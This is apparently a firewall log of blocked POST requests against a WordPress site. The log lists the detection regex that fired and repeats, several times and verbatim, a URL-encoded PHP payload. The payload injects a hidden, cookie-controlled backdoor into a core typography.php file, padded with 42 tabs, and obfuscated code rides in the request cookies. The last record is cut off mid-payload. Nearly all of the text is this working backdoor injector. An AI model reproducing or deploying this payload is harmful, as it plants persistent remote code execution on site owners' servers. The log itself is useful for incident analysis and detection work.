3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvERDvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmMKZvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:3252\n\nDD=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-supports\/typography.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B16%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D6%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B16%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B16%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B16%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B6%252B1%253B%257D%2524k%253D%2524p%255B5%255D%2528%2529.%2524p%255B15%255D%253Bif%2528%2521%2524p%255B25%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B29%255D%2528%2524k%252C%2524p%255B11%255D%2529%253B%2524p%255B24%255D%2528%2524n%252C%2524p%255B1%255D.%2524p%255B20%255D%2528%2524p%255B4%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:59:27","52.232.35.131","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> pv:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-supports\/typography.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B16%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D6%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B16%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B16%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B16%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B6%252B1%253B%257D%2524k%253D%2524p%255B5%255D%2528%2529.%2524p%255B15%255D%253Bif%2528%2521%2524p%255B25%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B29%255D%2528%2524k%252C%2524p%255B11%255D%2529%253B%2524p%255B24%255D%2528%2524n%252C%2524p%255B1%255D.%2524p%255B20%255D%2528%2524p%255B4%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpULvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWdqKA0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:3252\n\npv=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-supports\/typography.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B16%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D6%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B16%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B16%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B16%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B6%252B1%253B%257D%2524k%253D%2524p%255B5%255D%2528%2529.%2524p%255B15%255D%253Bif%2528%2521%2524p%255B25%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B29%255D%2528%2524k%252C%2524p%255B11%255D%2529%253B%2524p%255B24%255D%2528%2524n%252C%2524p%255B1%255D.%2524p%255B20%255D%2528%2524p%255B4%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:59:30","69.167.165.138","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Ip:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-supports\/typography.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B16%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D6%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B16%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B16%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B16%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B6%252B1%253B%257D%2524k%253D%2524p%255B5%255D%2528%2529.%2524p%255B15%255D%253Bif%2528%2521%2524p%255B25%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B29%255D%2528%2524k%252C%2524p%255B11%255D%2529%253B%2524p%255B24%255D%2528%2524n%252C%2524p%255B1%255D.%2524p%255B20%255D%2528%2524p%255B4%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFKNvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAyoaEypvV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-length:3252\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\n\nIp=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-supports\/typography.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B16%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D6%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B16%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B16%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B16%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B6%252B1%253B%257D%2524k%253D%2524p%255B5%255D%2528%2529.%2524p%255B15%255D%253Bif%2528%2521%2524p%255B25%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B29%255D%2528%2524k%252C%2524p%255B11%255D%2529%253B%2524p%255B24%255D%2528%2524n%252C%2524p%255B1%255D.%2524p%255B20%255D%2528%2524p%255B4%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:59:33","78.142.18.172","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> mj:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-supports\/typography.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B16%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D6%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B16%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B16%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B16%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B6%252B1%253B%257D%2524k%253D%2524p%255B5%255D%2528%2529.%2524p%255B15%255D%253Bif%2528%2521%2524p%255B25%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B29%255D%2528%2524k%252C%2524p%255B11%255D%2529%253B%2524p%255B24%255D%2528%2524n%252C%2524p%255B1%255D.%2524p%255B20%255D%2528%2524p%255B4%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvoJbvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWyp2I0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:3252\n\nmj=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-supports\/typography.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B16%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D6%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B16%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B16%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B16%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B6%252B1%253B%257D%2524k%253D%2524p%255B5%255D%2528%2529.%2524p%255B15%255D%253Bif%2528%2521%2524p%255B25%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B29%255D%2528%2524k%252C%2524p%255B11%255D%2529%253B%2524p%255B24%255D%2528%2524n%252C%2524p%255B1%255D.%2524p%255B20%255D%2528%2524p%255B4%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:59:45","144.76.215.54","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> sr:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-supports\/typography.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B16%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D6%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B16%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B16%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B16%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B6%252B1%253B%257D%2524k%253D%2524p%255B5%255D%2528%2529.%2524p%255B15%255D%253Bif%2528%2521%2524p%255B25%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B29%255D%2528%2524k%252C%2524p%255B11%255D%2529%253B%2524p%255B24%255D%2528%2524n%252C%2524p%255B1%255D.%2524p%255B20%255D%2528%2524p%255B4%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29